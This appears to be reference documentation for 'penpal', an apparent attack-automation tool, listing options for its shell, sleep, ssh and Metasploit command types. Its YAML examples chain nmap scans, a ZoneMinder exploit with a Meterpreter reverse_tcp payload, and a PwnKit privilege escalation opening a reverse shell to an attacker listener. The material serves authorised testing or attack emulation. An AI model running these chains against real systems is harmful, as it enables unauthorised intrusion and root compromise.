commands

This setting holds a list of commands that are executed sequentially from top to bottom.

Every command, regardless of the type has the following options:

exit_on_error

If this option is true, penpal will stop the run if the command returns with a return code that is not zero.

Type:: bool
Default:: True

error_if

If this option is set, an error will be raised if the string was found in the output of the command.

Type:: str

error_if_not

If this option is set, an error will be raised if the string was not found in the output of the command.

Type:: str

loop_if

If this option is set, the command will be executed again if the string was found in the output of the command.

Type:: str

loop_if_not

If this option is set, the command will be executed again if the string was not found in the output of the command.

Type:: str

loop_count

This option controlls how often a command should be re-executed if loop_if ord loop_if_not is set.

Type:: int
Default:: 3

cmd

This option stores the command that will be executed. This option might be implemented individually in each command-type.

Type:: str

shell

This command executes local shell-commands.

cmd

cmd stores the command-line that should be executed locally.

Type:: str

###
msf_config:
  password: top-secret
  server: 10.18.3.86

vars:
  $SERVER_ADDRESS: 192.42.0.254
  $NMAP: /usr/bin/nmap

commands:
  - type: shell
    cmd: $NMAP $SERVER_ADDRESS

sleep

This command sleeps a certain amount of time.

###
commands:
  - type: sleep
    seconds: 60

min_sec

This option defines the minimum seconds to sleep. This is only relevant if option random is set to True

Type:: int
Default:: 0

seconds

This options sets the seconds to sleep. If the option random is set to True, this option is the maximum time to sleep.

Type:: int
Default:: 1
Required:: True

random

This option allows to randomize the seconds to wait. The minimum and maximum seconds for the range can be set by min_sec and seconds.

Type:: bool
Default:: False

The following example will take a random amount of seconds between 30 seconds and 60 seconds:

###
commands:
  - type: sleep
    seconds: 60
    min_sec: 30

cmd

This option is ignored

Type:: str
Default:: sleep

ssh

Execute commands on a remote server via SSH.

Note

This command caches all the settings so that they only need to be defined once.

vars:
  $SERVER_ADDRESS: 192.42.0.254
  $SSH_SERVER: 10.10.10.19

commands:
  # creates new ssh-connection and session
  - type: ssh
    cmd: nmap $SERVER_ADDRESS
    hostname: 10.10.10.19
    username: aecid
    key_filename: "/home/alice/.ssh/id_rsa"
    creates_session: "attacker"

  # cached ssh-settings. creates new ssh-connection
  - type: ssh
    cmd: "echo $SERVER_ADDRESS"

  # reuses existing session "attacker"
  - type: ssh
    session: "attacker"
    cmd: "id"

hostname

This option sets the hostname or ip-address of the remote ssh-server.

Type:: str

port

Port to connect to on the remote host.

Type:: int
Default:: 22

username

Specifies the user to log in as on the remote machine.

Type:: str

password

Specifies the password to use. An alternative would be to use a key_file.

Type:: str

passphrase

Use this passphrase to decrypt the key_file. This is only necessary if the keyfile is protected by a passphrase.

Type:: str

timeout

The timeout to drop a connection attempt in seconds.

Type:: float

clear_cache

Normally all settings for ssh-connections are cached. This allows to defined all settings in one command and all following commands can reuse these settings without set them in every single command. If a new connection with different settings should be configured, this setting allows to reset the cache to default values.

Type:: bool
Default:: False

Note

This setting will not clear the session store.

creates_session

A session name that identifies the session that is created when executing this command. This session-name can be used by using the option “session”

Type:: str

session

Reuse an existing ssh-session. This setting works only if another ssh-command was executed with the command-option “creates_session”

Type:: str

jmp_hostname

This option sets the hostname or ip-address of the remote jump server.

Type:: str

jmp_port

Port to connect to on the jump-host.

Type:: int
Default:: 22

jmp_username

Specifies the user to log in as on the jmp-host.

Type:: str
Default:: same as username

msf-module

This command executes Metasploit-Modules via Metasploits RPC-Api.

Note

To configure the connection to the msfrpc-server see msf_config

Some Metasploit-Modules return output. Like the Auxilary-Modules:

msf_config:
  password: hackhelfer
  server: 10.18.3.86

commands:
  - type: msf-module
    cmd: auxiliary/scanner/portscan/tcp
    options:
      RHOSTS: 192.42.0.254

Most Exploit-Modules don’t create output but instead they create sessions(see msf-session)

msf_config:
  password: hackhelfer
  server: 10.18.3.86

commands:
  - type: msf-module
     cmd: exploit/unix/webapp/zoneminder_snapshots
     creates_session: "foothold"
     options:
       RHOSTS: 192.42.0.254
     payload_options:
       LHOST: 192.42.2.253
     payload: cmd/unix/python/meterpreter/reverse_tcp

cmd

This option stores the path to the metasploit-module.

Type:: str

Note

Please note that the path includes the module-type.

target

This option sets the payload target for the metasploit-module.

Type:: int
Default:: 0

creates_session

A session name that identifies the session that is created by the module. This session-name can be used by msf-session

Type:: str

session

This option is set in exploit[‘SESSION’]. Some modules(post-modules) need a session to be executed with.

Type:: str

payload

Path to a payload for this module.

Type:: str

The following example illustrates the use of sessions and payloads:

commands:
  - type: msf-module
     cmd: exploit/unix/webapp/zoneminder_snapshots
     creates_session: "foothold"
     options:
       RHOSTS: 192.42.0.254
     payload_options:
       LHOST: 192.42.2.253
     payload: cmd/unix/python/meterpreter/reverse_tcp

   - type: msf-module
     cmd: exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
     session: "foothold"
     creates_session: "root"
     options:
       WRITABLE_DIR: "/tmp"
     payload_options:
       LHOST: 192.42.2.253
       LPORT: 4455
     payload: linux/x64/shell/reverse_tcp

options

Dict(key/values) of module options, like RHOSTS:

Type:: Dict[str,str]

payload_options

Dict(key/values) of payload options, like LHOST and LPORT:

Type:: Dict[str,str]

msf-session

This command allowes to read and write commands to (Meterpreter)sessions that have previously created by msf-modules(see msf-module).

Note

To configure the connection to the msfrpc-server see msf_config

stdapi

Load stdapi module in the Meterpreter-session.

Type:: bool
Default:: False

write

Execute a raw write-operation without reading the output.

Type:: bool
Default:: False

read

Execute a raw read-operation without a write-operation.

Type:: bool
Default:: False

session

Use this session for all operations.

Type:: str
Required:: True

end_str

This string indicated the end of a read-operation.

Type:: str